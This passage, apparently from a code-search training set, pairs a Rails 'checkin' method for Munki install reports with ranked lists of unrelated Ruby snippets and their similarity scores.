index)\n import_sucess = false\n if elt.kind_of?(Pulve)\n parcelle_assoc = Putoparcelle.new(\n :pulve_id => elt.id,\n :parcelle_id => parcelle.id,\n :value => 1)\n elsif elt.kind_of?(Labour)\n parcelle_assoc = Labtoparcelle.new(\n :labour_id => elt.id,\n :parcelle_id => parcelle.id,\n :value => 1)\n elsif elt.kind_of?(Vente)\n parcelle_assoc = Ventoparcelle.new(\n :vente_id => elt.id,\n :parcelle_id => parcelle.id,\n :value => 1)\n elsif elt.kind_of?(Facture)\n parcelle_assoc = Factoparcelle.new(\n :facture_id => elt.id,\n :parcelle_id => parcelle.id,\n :value => 1)\n end\n if parcelle_assoc && parcelle_assoc.valid?\n if parcelle_assoc.save\n import_sucess = true\n else\n self.add_error(\"parcelle '#{parcelle.try(:name)}' non enregistree\", index)\n self.add_error(parcelle_assoc.errors, index)\n end\n else # parcelle_assoc not valid\n self.add_error(\"parcelle '#{parcelle.try(:name)}' non valide\", index)\n self.add_error(parcelle_assoc.errors, index) if parcelle_assoc\n return false\n end\n return import_sucess\n end", "def initialize_crup_data(default_tools = [])\n # TODO: need a way to discover all the tools that have facts for jimador\n tools = []\n default_tools.each do | tool_name |\n tools << {\n :dname => tool_name,\n :desc => \"\",\n :status => \"offline\",\n :tool_url => \"#\",\n :settings_url => \"#\",\n :name => tool_name,\n :category => \"dev\",\n :icon => \"false\",\n :visible => \"true\",\n :statistics => \"false\",\n }\n end if default_tools.kind_of?(Array)\n\n default_node = {\n :node_name => \"default\",\n :tools => tools\n }\n json_data = {\n :site => { \"node\" => [ default_node ],\n :id => lookupvar_exist('maestro_id') ? @puppetobj.lookupvar('maestro_id') : '', # we try to get the defaults from facter\n :blueprint => lookupvar_exist('maestro_blueprint') ? @puppetobj.lookupvar('maestro_blueprint') : '',\n :projects => lookupvar_exist('maestro_projects') ? @puppetobj.lookupvar('maestro_projects') : 'false',\n :users => lookupvar_exist('maestro_users') ? @puppetobj.lookupvar('maestro_users') : 'false',\n }\n }\n @site_data = JSON.parse(json_data.to_json) if @site_data == nil\n add_node\n data = JSON.parse(@site_data.to_json)\n show_json_debug(\"1\", data)\n self.save_file(data)\n end", "def create\n\t\t@part = Part.new(params[:part])\n\t\t@types = Part.get_types_part\n\t\t@status = Statusobject.find_for(\"part\")\n\t\trespond_to do |format|\n\t\t\tif params[:fonct] == \"new_dup\"\n\t\t\t\tobject_orig=Part.find(params[:object_orig_id])\n\t\t\tst = @part.create_duplicate(object_orig)\n\t\t\telse\n\t\t\tst = @part.save\n\t\t\tend\n\t\t\tif st\n\t\t\t\tst = ctrl_duplicate_links(params, @part, current_user)\n\t\t\t\tflash[:notice] = t(:ctrl_object_created,:typeobj =>t(:ctrl_part),:ident=>@part.ident)\n\t\t\t\tformat.html { redirect_to(@part) }\n\t\t\t\tformat.xml { render :xml => @part, :status => :created, :location => @part }\n\t\t\telse\n\t\t\t\tflash[:error] = t(:ctrl_object_not_created,:typeobj =>t(:ctrl_part), :msg => nil)\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\tformat.xml { render :xml => @part.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def initialize(name,config_dir=nil,debug=false,verbose=false,read_objects=true)\n # testing=true is used for unit testing.\n # normal whe use it to use test input instead of the real system command\n @testing=false\n\n # Set name. This needs to be first\n @name=name\n # Set initial status\n @status=\"UNKNOWN\"\n # Defaults for debug and verbose\n @debug=debug\n @verbose=verbose\n @verbose=true if @debug\n # Print_only\n @print_only=false\n\n # Config_values\n @config_values=Hash.new\n\n # Persistent data\n @persist=Hash.new\n\n # Initialization of each module (Ruby's super will only call last included Module's constructor)\n Configurable.instance_method(:initialize).bind(self).call(config_dir)\n Notifies.instance_method(:initialize).bind(self).call\n\n # Set client hostname\n puts YAML.dump(@config_values) if @debug\n @hostname=@config_values[:hostname]\n\n # Initializes UsesObjects\n @object_dir=@config_values.has_key?(:object_dir) ? @config_values[:object_dir] : DEFAULT_OBJECTS_DIR\n UsesObjects.instance_method(:initialize).bind(self).call(@object_dir)\n\n # Initializes UsesPersistentData\n @data_dir=@config_values.has_key?(:data_dir) ? @config_values[:data_dir] : DEFAULT_DATA_DIR\n UsesPersistentData.instance_method(:initialize).bind(self).call(@data_dir)\n\n # Initialize notificaton object\n if @config_values.has_key? :notify_methods\n @notify_methods=@config_values[:notify_methods]\n else\n @notify_methods={ :print => nil}\n end\n end", "def create_from_xml\n unless params[:metadata_file].present?\n flash[:notice] = t('dri.flash.notice.specify_valid_file')\n @error = t('dri.flash.notice.specify_valid_file')\n return false\n end\n\n xml_ds = XmlDatastream.new\n begin\n xml_ds.load_xml(params[:metadata_file])\n rescue DRI::Exceptions::InvalidXML\n flash[:notice] = t('dri.flash.notice.specify_valid_file')\n @error = t('dri.flash.notice.specify_valid_file')\n return false\n rescue DRI::Exceptions::ValidationErrors => e\n flash[:notice] = e.message\n @error = e.message\n return false\n end\n\n if xml_ds.metadata_standard.nil?\n flash[:notice] = t('dri.flash.notice.specify_valid_file')\n @error = t('dri.flash.notice.specify_valid_file')\n return false\n end\n\n @object = DRI::Batch.with_standard xml_ds.metadata_standard\n @object.update_metadata xml_ds.xml\n checksum_metadata(@object)\n warn_if_has_duplicates(@object)\n\n if @object.descMetadata.is_a?(DRI::Metadata::EncodedArchivalDescriptionComponent)\n flash[:notice] = t('dri.flash.notice.specify_valid_file')\n @error = t('dri.flash.notice.specify_valid_file')\n return false\n end\n\n unless @object.collection?\n flash[:notice] = t('dri.flash.notice.specify_collection')\n @error = t('dri.flash.notice.specify_collection')\n return false\n end\n\n @object.apply_depositor_metadata(current_user.to_s)\n @object.manager_users_string = current_user.to_s\n @object.discover_groups_string = 'public'\n @object.read_groups_string = 'public'\n @object.master_file_access = 'private'\n\n @object.ingest_files_from_metadata = params[:ingest_files] if params[:ingest_files].present?\n\n true\n end", "def load_macshapa_db(filename, write_to_gui)\n\n\n # Create a new DB for us to use so we don't touch the GUI... some of these\n # files can be huge.\n # Since I don't know how to make a whole new project, lets just load a blank file.\n if not write_to_gui\n #$db,$pj = load_db(\"/Users/j4lingeman/Desktop/blank.opf\")\n $db = MacshapaDatabase.new(1000)\n $pj = Project.new()\n end\n\n\n\n f = File.open(filename, 'r')\n\n # Read and split file by lines. '\\r' is used because that is the default\n # format for OS9 files.\n file = f.gets\n lines = file.split(/\\r/)\n\n # Find the variable names in the file and use these to create and set up\n # our columns.\n predIndex = lines.index(\"***Predicates***\")\n varIndex = lines.index(\"***Variables***\")\n spreadIndex = lines.index(\"***SpreadPane***\")\n predIndex += 2\n\n variables = Hash.new\n varIdent = Array.new\n\n while predIndex < varIndex\n l = lines[predIndex].split(/ /)[5]\n varname = l[0..l.index(\"(\") - 1]\n if varname != \"###QueryVar###\" and varname != \"div\" and varname != \"qnotes\"\n variables[varname] = l[l.index(\"(\")+1..l.length-2].split(/,/)\n varIdent << l\n end\n predIndex += 1\n end\n\n # Create the columns for the variables\n variables.each do |key, value|\n # Create column\n if !$db.col_name_in_use(key)\n col = DataColumn.new($db, key, MatrixVocabElement::MatrixType::MATRIX)\n $db.add_column(col)\n end\n\n mve0 = $db.get_vocab_element(key)\n if mve0.get_num_formal_args() == 1\n # Setup structure of matrix column\n mve0 = MatrixVocabElement.new(mve0)\n mve0.delete_formal_arg(0)\n value.each { |v|\n # Strip out the ordinal, onset, and offset. These will be handled on a\n # cell by cell basis.\n if v != \"<ord>\" and v != \"<onset>\" and v != \"<offset>\"\n #puts v\n farg = NominalFormalArg.new($db, v)\n mve0.append_formal_arg(farg)\n end\n }\n $db.replace_matrix_ve(mve0)\n end\n end\n\n # Search for where in the file the var's cells are, create them, then move\n # on to the next variable.\n varSection = lines[varIndex..spreadIndex]\n\n varIdent.each do |id|\n col = $db.get_column(id[0..id.index(\"(\")-1])\n mve = $db.get_matrix_ve(col.its_mve_id)\n matid = mve.get_id()\n\n # Search the variable section for the above id\n varSection.each do |l|\n line = l.split(/[\\t\\s]/)\n if line[2] == id\n #puts varname\n start = varSection.index(l) + 1\n\n stringCol = false\n\n if varSection[start - 2].index(\"strID\") != nil\n stringCol = true\n end\n\n #Found it! Now build the cells\n while varSection[start] != \"0\"\n varSection[start]\n if stringCol == false\n cellData = varSection[start].split(/[\\t]/)\n cellData[cellData.length - 1] = cellData[cellData.length-1][cellData[cellData.length-1].index(\"(\")..cellData[cellData.length-1].length]\n\n else\n cellData = varSection[start].split(/[\\t]/)\n end\n\n # Init cell to null\n cell = DataCell.new($db, col.get_id, mve.get_id)\n mat = Matrix.new($db, matid)\n\n # Convert onset/offset from 60 ticks/sec to milliseconds\n onset = cellData[0].to_i / 60.0 * 1000\n offset = cellData[1].to_i / 60.0 * 1000\n\n # Set onset/offset of cell\n cell.onset = TimeStamp.new(1000, onset.round)\n cell.offset = TimeStamp.new(1000, offset.round)\n\n # Split up cell data\n data = cellData[cellData.length - 1]\n if stringCol == false\n data = data[1..data.length-2]\n data = data.gsub(/[() ]*/, \"\")\n data = data.split(/,/)\n elsif data != nil #Then this is a string var\n data = data.strip()\n if data.split(\" \").length > 1\n data = data[data.index(\" \")..data.length] # Remove the char count\n data = data.gsub(\"/\", \" or \")\n data = data.gsub(/[^\\w ]*/, \"\")\n data = data.gsub(/ /,\" \")\n else\n data = \"\"\n end\n else\n data = Array.new\n data << nil\n end\n\n # Cycle thru cell data arguments and fill them into the cell matrix\n narg = 0\n data.each do |d|\n fargid = mve.get_formal_arg(narg).get_id()\n d = d.strip()\n if d == \"\" or d == nil or d.index(\"<\") != nil\n fdv = NominalDataValue.new($db, fargid)\n fdv.clearValue()\n else\n d = d.strip()\n fdv = NominalDataValue.new($db, fargid, d)\n end\n mat.replaceArg(narg,fdv)\n narg += 1\n end\n\n # Put cell into database\n cell.set_val(mat)\n $db.append_cell(cell)\n start += 1\n end\n end\n end\n end\n\n f.close()\n\n return $db, $pj\nend", "def initialize config, namespace\n @config = config\n @namespace = namespace\n\n @repository = Rubydora.connect :url => @config.url, :user => @config.user, :password => @config.password\n\n @pid = getpid\n @fedora_object = @repository.create(@pid)\n @owner = nil\n @size = 0\n\n yield self\n\n @fedora_object.save\n\n # TODO: not sure if we should just let these percolate up, or just non-package errors, or what, exactly\n\n rescue PackageError => e\n error e.message\n return self\n rescue => e\n error \"Caught exception #{e.class} #{e.message}, backtrace follows:\", e.backtrace\n return self\n end", "def run\n\t\tbegin\n\t\t\t\n\t\t\tif @object.kind_of?(Device)\n\t\t\t\tanswer = @client.query(@object.ip_address)\n\t\t\telsif @object.kind_of?(User)\n\t\t\telsif @object.kind_of?(Organization)\n\t\t\t \n\t\t\t answer = @client.query(@object.name)\n\t\t\t answer.contacts.each do |contact|\n l = create_object Location, :address => contact.address,\n :state => contact.state,\n :city => contact.city,\n :zip => contact.zip,\n :country => contact.country\n\n\t\t\t create_object User, :full_name => contact.name,\n\t\t\t :email => contact.email,\n\t\t\t :phone => contact.phone,\n\t\t\t :fax => contact.fax,\n\t\t\t :location_id => l.id\n\t\t\t end\n\t\t\t \n\t\t elsif @object.kind_of?(Domain)\n\t\t\t\tbegin\n\t\t\t\t\tanswer = @client.query(@object.domain)\n\t\t\t\trescue \n\t\t\t\t\treturn\n\t\t\t\tend\n\n\t\t\t\t@object.referral_whois = answer.referral_whois\n\t\t\t\t@object.referral_url = answer.referral_url\n\t\t\t\t@object.status = answer.status\n\t\t\t\t@object.created_on = answer.created_on\n\t\t\t\t@object.updated_on = answer.updated_on\n\t\t\t\t@object.expires_on = answer.expires_on\n\t\t\t\t@object.registrar = answer.registrar\n\t\t\t\t@object.nameservers = answer.nameservers\n\t\t\t\t@object.fulltext = answer.to_s\n\t\n\t\t\t\t## It's not guaranteed that these methods will be available..\n\t\t\t\t@object.registered = answer.registered\n\t\t\t\t@object.available = answer.available\n\t\t\t\t@object.registrant_contact = answer.registrant_contact\n\t\t\t\t@object.admin_contact = answer.admin_contact\n\t\t\t\t@object.technical_contact = answer.techncial_contact\n\t\t\tend\n\t\trescue Exception => e\n\t\t\tputs \"Something bad happened. Probably unable to parse the response :(\"\n\t\t\tputs e.to_s\n\t\tend\n\t\t\n\t\t@object.save!\n\t\t\n\t\tnil\n\tend", "def eval_generate\n new_resources = []\n updated_resources = []\n\n configuration.each do |type, resources|\n fail \"The 'type' should be the name of the Puppet type and not be empty! Got: #{type.inspect}\" unless type and not type.empty?\n fail \"The 'resources' should be a hash with the override Puppet resources! Got: #{resources.inspect}\" unless resources.is_a? Hash\n next unless type_enabled? type\n debug \"Processing type: #{type}\"\n resources.each do |title, parameters|\n fail \"The 'title' should be the title of the Puppet resource nd should not be empty! Got: #{title.inspect}\" unless title and not title.empty?\n fail \"The 'parameters' should be a hash of the resource parameters! Got: #{parameters.inspect}\" unless parameters.is_a? Hash\n next unless title_enabled? title\n debug \"Processing resource: #{type}[#{title}]\"\n parameters = defaults_for(type).merge parameters\n\n if resource_present? type, title\n debug \"#{type.capitalize}[#{title}] was found in the catalog, updating it!\"\n updated_resources << update_resource(type, title, parameters)\n else\n if type_create? type or title_create? title\n debug \"#{type.capitalize}[#{title}] was not found in the catalog, creating it!\"\n new_resources << create_resource(type, title, parameters)\n else\n debug \"#{type.capitalize}[#{title}] was not found in the catalog, skipping it!\"\n next\n end\n end\n\n end\n end\n update_relationship_graph(updated_resources + new_resources)\n\n new_resources\n end", "def main\n begin\n books_file = File.read('./data/books.json')\n @books = JSON.parse(books_file)\n rescue StandardError\n File.write('./data/books.json', JSON.dump([]))\n books_file = File.read('./data/books.json')\n @books = JSON.parse(books_file)\n end\n begin\n music_album_file = File.read('./data/music_album.json')\n @music_album = JSON.parse(music_album_file)\n rescue StandardError\n File.write('./data/music_album.json', JSON.dump([]))\n music_album_file = File.read('./data/music_album.json')\n @music_album = JSON.parse(music_album_file)\n end\n begin\n movies_file = File.read('./data/movies.json')\n @movies = JSON.parse(movies_file)\n rescue StandardError\n File.write('./data/movies.json', JSON.dump([]))\n movies_file = File.read('./data/movies.json')\n @movies = JSON.parse(movies_file)\n end\n begin\n games_file = File.read('./data/games.json')\n @games = JSON.parse(games_file)\n rescue StandardError\n File.write('./data/games.json', JSON.dump([]))\n games_file = File.read('./data/games.json')\n @games = JSON.parse(games_file)\n end\n @all_genres = {}\n @all_authors = {}\n @all_labels = {}\n @all_sources = {}\n initialize_books\n initialize_music_albums\n initialize_movies\n initialize_games\n input = ''\n\n while input.to_i != 13\n puts\n puts 'Please choose an option by entering a number:'.yellow\n puts\n puts ' 1 - List all books'.blue\n puts ' 2 - List all music albums'.blue\n puts ' 3 - List all movies'.blue\n puts ' 4 - List all games'.blue\n puts ' 5 - List all genres (e.g \\'Comedy\\', \\'Thriller\\')'.light_blue\n puts ' 6 - List all labels (e.g. \\'Gift\\', \\'New\\')'.light_blue\n puts ' 7 - List all authors (e.g. \\'Stephen King\\')'.light_blue\n puts ' 8 - List all sources (e.g. \\'From a friend\\', \\'Online shop\\')'.light_blue\n puts ' 9 - Add a book'.pink\n puts '10 - Add a music album'.pink\n puts '11 - Add a movie'.pink\n puts '12 - Add a game'.pink\n puts '13 - Exit'.red\n puts\n print 'Option: '.yellow\n input = gets.chomp\n\n case input\n when '1'\n list_books(@books)\n when '2'\n list_music_album(@music_album)\n when '3'\n list_movies(@movies)\n when '4'\n list_games(@games)\n when '5'\n list_genres(@all_genres)\n when '6'\n list_labels(@all_labels)\n when '7'\n list_authors(@all_authors)\n when '8'\n list_sources(@all_sources)\n when '9'\n create_book\n when '10'\n create_music_album\n when '11'\n create_movie\n when '12'\n create_game\n when '13'\n File.write('./data/books.json', JSON.dump(@books))\n File.write('./data/music_album.json', JSON.dump(@music_album))\n File.write('./data/movies.json', JSON.dump(@movies))\n File.write('./data/games.json', JSON.dump(@games))\n thankyou\n else\n puts 'This option is not available'\n end\n if input.to_i >= 1 && input.to_i <= 8\n puts 'Press any key to contine...'\n $stdin.getch\n end\n end\nend", "def create\n @entry = Entry.new(params[:entry])\n\t@entry.viewed = 0\n\t@entry.user_id = current_user\n\t\n\t@systems = params[:systems]\n\t@systems.each do |s|\n\t\t@entry.system_list.add(s)\n\tend\t\n\t\n\t@components = params[:components]\n\t@components.each do |c|\n\t\t@entry.comp_list.add(c)\n\tend\n\t\n respond_to do |format|\n if @entry.save\n format.html { redirect_to(@entry, :notice => 'Entry was successfully created.') }\n format.xml { render :xml => @entry, :status => :created, :location => @entry }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @entry.errors, :status => :unprocessable_entity }\n end\n end\n end", "def setup_create\n\t\traise NotImplementedError, \"machine_create is not implemented\"\n\tend", "def load_error; end", "def create_brand_data\n\tsave_file(print_brands)\n\tbrand_details\nend", "def register_arduinos(filename)\n File.open filename do |json_file|\n JSON.parse(json_file.read).each do |cur_arduino|\n arduino = {name: cur_arduino[\"name\"], ip: cur_arduino[\"ip\"], port: cur_arduino[\"port\"]}\n register_arduino(arduino)\n end # end JSON.parse\n end # close file \n end" ]
[ "0.6408239", "0.5724597", "0.5448583", "0.52582735", "0.5172279", "0.5143568", "0.5139678", "0.5074955", "0.5073008", "0.50712794", "0.505662", "0.49813265", "0.49479967", "0.49197778", "0.4910568", "0.49104005", "0.49060348", "0.49002755", "0.48919582", "0.48673034", "0.48595914", "0.484876", "0.48285794", "0.48136133", "0.48135176", "0.4805384", "0.4788807", "0.47802866", "0.4773011", "0.4744586", "0.4730215", "0.47292864", "0.472789", "0.47110483", "0.47041103", "0.47040164", "0.47026753", "0.46968144", "0.46879622", "0.4668096", "0.46642116", "0.46556586", "0.4654751", "0.46529177", "0.46525595", "0.4646342", "0.4643845", "0.46419758", "0.463769", "0.46216083", "0.46206102", "0.46194002", "0.46182403", "0.4610552", "0.46103334", "0.46073425", "0.4607252", "0.46041226", "0.45952165", "0.45948052", "0.4594322", "0.4584088", "0.45818242", "0.45815545", "0.45805034", "0.45796826", "0.45747405", "0.45729494", "0.4569903", "0.45697647", "0.455838", "0.45582178", "0.45575672", "0.45432314", "0.45426598", "0.45423624", "0.45421413", "0.45313865", "0.45296326", "0.4524425", "0.45194775", "0.4516644", "0.45117846", "0.45116565", "0.4510589", "0.45071274", "0.45035917", "0.45012048", "0.44997835", "0.4498446", "0.44972968", "0.44955143", "0.44938925", "0.448806", "0.44880357", "0.44870463", "0.4480706", "0.44778877", "0.44772756", "0.4476951" ]
0.6494538
0
Allows a computer to checkin with the server, notifying it of the last successful munki run. May be extended in the future.
def checkin @computer = Computer.find_for_show(nil, params[:id]) if params[:managed_install_report_plist].present? report_hash = ManagedInstallReport.format_report_plist(params[:managed_install_report_plist]).merge({:ip => request.remote_ip}) @computer.managed_install_reports.build(report_hash) end if params[:system_profiler_plist].present? system_profile_hash = SystemProfile.format_system_profiler_plist(params[:system_profiler_plist]) sp = SystemProfile.find_or_create_by_computer_id(@computer.id) @computer.system_profile.attributes = system_profile_hash end @computer.save @computer.warranty.destroy if @computer.serial_number != @computer.warranty.serial_number AdminMailer.computer_report(@computer).deliver if @computer.report_due? render :text => '' end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def check_in!\n ensure_can_check_in!\n self.update(status: :complete)\n end", "def checkin\n end", "def notify_users_and_add_it\n return # disabled for now\n return true if remote?\n User.find_all_by_notify_on_new_torrents(true).each do |user|\n Notifier.send_new(user,self) if user.notifiable_via_jabber?\n user.watch(self) unless user.dont_watch_new_torrents?\n end\n end", "def checkin(socket)\n if socket && socket.pool\n socket.checkin\n end\n sync_refresh\n end", "def start_checkin\n\t#First, let's ask for the name of the task\n\tputs \"Task Name:\"\n\tt_name = gets.chomp\n\t#Now we'll ask for a description\n\tputs \"Description:\"\n\tt_desc = gets.chomp\n\t#and now we'll go to work...\n\tresult = task_checkin(t_name, t_desc)\n\tif result == 0\n\t\tputs \"Your task has been successfully updated.\" \n\tend\nend", "def check_in(thread_status)\n keep_trying_to \"check in with central\" do\n @server[\"/worker\"].put({\n :name => @name,\n :thread_status => thread_status\n })\n end\n end", "def poll_civ_updates\n while @connected\n sleep 10\n turn = civ_turn\n if @last_turn != turn && turn != 0\n @reported_players = Set.new\n report_turn\n end\n\n needed = civ_unsubmitted_players\n if (@last_needed != needed) && (!needed.empty?) && (!needed.proper_subset? @reported_players)\n @reported_players |= needed\n report_needed\n end\n end\n end", "def check_out\n @server[\"/worker\"].put({\n :name => @name,\n :terminated => true\n })\n log 'exiting'\n end", "def checkin(socket)\n fiber = Fiber.current\n\n @available.push(@reserved.delete(fiber.object_id))\n if pending = @pending.shift\n pending.resume\n end\n true\n end", "def launch_checkin\n response = launch_message Launch::Key::CHECKIN\n\n return if response.nil?\n\n @launch_checkin = response\n end", "def pbPokeCenterPC\n Kernel.pbMessage(_INTL(\"\\\\se[computeropen]{1} booted up the PC.\",$Trainer.name))\n loop do\n commands=PokemonPCList.getCommandList()\n command=Kernel.pbMessage(_INTL(\"Which PC should be accessed?\"),\n commands,commands.length)\n if !PokemonPCList.callCommand(command)\n break\n end\n end\n pbSEPlay(\"computerclose\")\n $PokemonTemp.dependentEvents.refresh_sprite\nend", "def startup!\n @started = true\n really_try(:did_start_up) if respond_to?(:did_start_up)\n\n if config['nickserv_password']\n privmsg(\"identify #{config['nickserv_password']}\", \"nickserv\")\n # Wait 10 seconds for nickserv to get back to us.\n Thread.new do\n sleep(10)\n finalize_startup\n end\n else\n finalize_startup\n end\n end", "def update_client!(success)\n 5.times do\n push_count = ActionCable.server.broadcast(\"auth_#{@code}\", { success: success })\n return true if push_count.positive?\n\n sleep 0.5\n end\n\n false\n end", "def run_reboot_checks\n # one simple check we can do is the backup. Backup can fail if anything is amiss\n @servers.each do |server|\n run_script(\"do_backup\", server)\n end\n end", "def sync_notify\n status = @params['status'] ? @params['status'] : \"\"\n if status == \"error\"\n errCode = @params['error_code'].to_i\n if errCode == Rho::RhoError::ERR_REMOTESERVER\n @msg = @params['error_message']\n else \n @msg = Rho::RhoError.new(errCode).message\n end\n \n WebView.navigate(url_for(:action => :server_error, :query => {:msg => @msg}))\n elsif status == \"ok\"\n if SyncEngine::logged_in > 0\n WebView.navigate \"/app/Customer\"\n else\n # rhosync has logged us out\n WebView.navigate \"/app/Settings/login\" \n end\n end \n end", "def notify\n end", "def connection_status_mcnet_login; end", "def cmd_notify_pushover_start\n\t\t\t\tprint_status \"Starting to notify sessions through pushover\"\n\t\t\t\tif read_settings()\n\t\t\t\t\tself.framework.events.add_session_subscriber(self)\n\t\t\t\t\t@pushover_url = URI.parse(\"https://api.pushover.net/1/messages.json\")\n\t\t\t\t\t@pushover_req = Net::HTTP::Post.new(@pushover_url.path)\n\t\t\t\t\t@pushover_req.set_form_data({\n\t\t\t\t\t :token => @app_key,\n\t\t\t\t\t :user => @user_key,\n\t\t\t\t\t :message => \"\"\n\t\t\t\t\t})\n\t\t\t\t\t@pushover_res = Net::HTTP.new(@pushover_url.host, @pushover_url.port)\n\t\t\t\t\t@pushover_res.use_ssl = true\n\t\t\t\t\t@pushover_res.verify_mode = OpenSSL::SSL::VERIFY_PEER\n\t\t\t\t\tprint_good(\"Pushover plugin started: monitoring sessions\")\n\t\t\t\telse\n\t\t\t\t\tprint_error(\"Could not set pushover settings.\")\n\t\t\t\tend\n\t\t\tend", "def connected\n\t\tdo_send('CN1')\t# Connection command - initiate comms\n\t\n\t\t@polling_timer = schedule.every('60s') do\n\t\t\tlogger.debug \"Polling JVC\"\n\t\t\tdo_send('CN1')\t# Connection command\n\t\tend\n\tend", "def exit\n @server.check_out(@host) unless @server.nil?\n end", "def changenick(m, n)\n @lastchanged = m.user.nick\n bot.nick = n\n end", "def notify_if_just_finished\n return # disabled for now\n if percent_done == 100\n old = Torrent.find(self.id)\n if old.percent_done < 100 and statusmsg == 'seeding'\n self.watchings.find_all_by_apprise(true).collect {|w| w.user }.each do |user| \n Notifier.send_finished(user,self) if user.notifiable_via_jabber?\n end\n end\n end\n end", "def notifier; end", "def notifier; end", "def on_connect(m)\n User(m.user.nick).monitor\n end", "def join(server, already); end", "def ping\n result = RhizomePingJob.new(@rhizome).perform_now\n\n if result[:connected]\n flash[:success] = \"Pinged <strong>#{result[:name]}</strong>!<br />\" <<\n \"Here's what I got:<br />\" <<\n \"<pre>#{JSON.pretty_generate(result)}</pre>\"\n else\n flash[:danger] = \"It appears that <strong>#{result[:name]}</strong> is not connected...<br />\" <<\n \"Here's what I know:<br />\" <<\n \"<pre>#{JSON.pretty_generate(result)}</pre>\"\n end\n\n redirect_to rhizomes_url\n end", "def on_notice\n if (sender.name.downcase == 'nickserv')\n matches = /^STATUS ([^ ]+) ([0-9])$/i.match(argline)\n return if matches.nil?\n username = matches[1]\n status = matches[2]\n if server.nickname.name.downcase == matches[1]\n server.instance_variable_set('@has_nickserv', true)\n server.instance_variable_set('@has_nickserv_status', true)\n else\n autologin(username)\n end\n end\n end", "def notify_players\n if board.in_check?(@player.color)\n puts \"#{@player.color} is in Check\"\n end\n end", "def on_online(m, user)\n user.send \"Hello #{m.user.nick}\"\n end", "def run servers\n\t\tservers.each do |server|\n\n\t\t\t@clientCount += 1\n\n\t\t\tclient = Kesh::Mumble::MumbleClient.new( server[:host], server[:port], server[:nick], @options )\n\t\t\t@connections[ client ] = server\n\n\t\t\tclient.register_handler :ServerSync, method( :on_connected )\n\t\t\tclient.register_handler :UserState, method( :on_user_state )\n\t\t\tclient.register_handler :UserRemove, method( :on_user_remove )\n\t\t\t# client.register_handler :UDPTunnel, method( :on_audio )\n\n\t\t\tclient.register_text_handler '!help', method( :cmd_help )\n\t\t\tclient.register_text_handler '!find', method( :cmd_find )\n\t\t\tclient.register_text_handler '!goto', method( :cmd_goto )\n\t\t\tclient.register_text_handler '!test', method( :cmd_test )\n\t\t\tclient.register_text_handler '!info', method( :cmd_info )\n\t\t\tclient.register_text_handler '!admin', method( :cmd_admin )\n\t\t\tclient.register_text_handler '!mute', method( :cmd_mute )\n\t\t\tclient.register_text_handler '!result', method( :cmd_result )\n\t\t\tclient.register_text_handler '!list', method( :cmd_list )\n\n\t\t\tclient.register_exception_handler method( :on_exception )\n\n\t\t\tload_roles_ini client\n\n\t\t\tcreate_new_match( client )\n\n\t\t\tclient.connect\n\n\t\t\tcreate_comment( client )\n\n\t\tend\n\n\t\t# Main loop\n\t\tuntil @shutdown do\n\n\t\t\tif ( Time.now - @lastCleanUp ) > 60 * 60\n\t\t\t\tremove_old_matches\n\t\t\t\t@lastCleanUp = Time.now\n\t\t\tend\n\n\n\t\t\tif ( Time.now - @lastTrack ) > 60 * 5\n\t\t\t\ttrack_matches\n\t\t\t\t@lastTrack = Time.now\n\t\t\tend\n\n\t\t\treturn true unless all_connected? # TODO: This is a very ugly way to reset all connections\n\n\t\t\tsleep 0.2\n\n\t\tend\n\n\t\treturn @restart\n\n\tend", "def check_ins\n check_in_responses\n end", "def loop_until_server_online\n\t\tcs_conn=self.cloud_server_init\n\n\t\terror_message=\"Failed to build server.\"\n\n\t\ttimeout=self.server_online_timeout-(Time.now-self.updated_at).to_i\n\t\ttimeout = 120 if timeout < 120\n\n\t\tbegin\n\t\t\tTimeout::timeout(timeout) do\n\n\t\t\t\t# poll the server until progress is 100%\n\t\t\t\tcs=cs_conn.find_server(\"#{self.cloud_server_id_number}\")\n\t\t\t\tuntil cs.progress == 100 and cs.status == \"ACTIVE\" do\n\t\t\t\t\tcs=cs_conn.find_server(\"#{self.cloud_server_id_number}\")\n\t\t\t\t\tsleep 1\n\t\t\t\tend\n\n\t\t\t\terror_message=\"Failed to ssh to the node.\"\t\n\n\t\t\t\tif ! system(%{\n\n\t\t\t\t\t\tCOUNT=0\n\t\t\t\t\t\twhile ! ssh -o \"StrictHostKeyChecking no\" -T -i #{self.server_group.ssh_key_basepath} root@#{cs.addresses[:public][0]} /bin/true > /dev/null 2>&1; do\n\t\t\t\t\t\t\tif (($COUNT > 23)); then\n\t\t\t\t\t\t\t\texit 1\n\t\t\t\t\t\t\tfi\n\t\t\t\t\t\t\t((COUNT++))\n\t\t\t\t\t\t\tsleep 15\n\t\t\t\t\t\tdone\n\t\t\t\t\t\texit 0\n\n\t\t\t\t}) then\n\t\t\t\t\tfail_and_raise error_message\n\t\t\t\tend\n\n\t\t\tend\n\t\trescue Exception => e\n\t\t\tfail_and_raise error_message\n\t\tend\n\n\tend", "def notify_ready\n appointment = Appointment.find(params[:appointment_id])\n flash[:danger] = 'Patient has not checked in' unless appointment.checked_in?\n appointment.push_notify_ready\n redirect_to admin_appointments_path(@admin)\n end", "def ping\n tries = 3\n begin\n # @server.ping\n rescue Exception => e\n retry if (tries -= 1) > 1\n raise e, \"The server is not available (or you do not have permissions to access it)\"\n end\n end", "def on_ping(connection, servers)\n end", "def start\n load\n until @computer.round_finished\n save\n @computer.respond_to_guess(@player.prompt)\n end\n\n if @computer.guessed\n puts \"You won!\"\n else\n puts \"You lost!\"\n end\n end", "def wait_until_open_confirmed; end", "def on_ready(s, commands)\n create_server_on_master(s)\n \n wait_for_public_ip = get_field('wait_for_public_ip')\n\n start = Time.now\n unless wait_for_public_ip == false\n msg = \"Waiting for server '#{s.name}' #{s.identity} to get a public ip\"\n Maestro.log.debug msg\n write_output(\"#{msg}... \")\n \n begin\n s.wait_for { !public_ip_address.nil? and !public_ip_address.empty? }\n rescue Fog::Errors::TimeoutError => e\n msg = \"Server '#{s.name}' #{s.identity} failed to get a public ip (#{Time.now - start}s)\"\n Maestro.log.warn msg\n write_output(\"failed (#{Time.now - start}s)\\n\")\n return nil\n end\n end\n \n Maestro.log.debug \"Server '#{s.name}' #{s.identity} is now accessible through ssh (#{Time.now - start}s)\"\n write_output(\"done (#{Time.now - start}s)\\n\")\n \n # save some values in the workitem so they are accessible for deprovision and other tasks\n 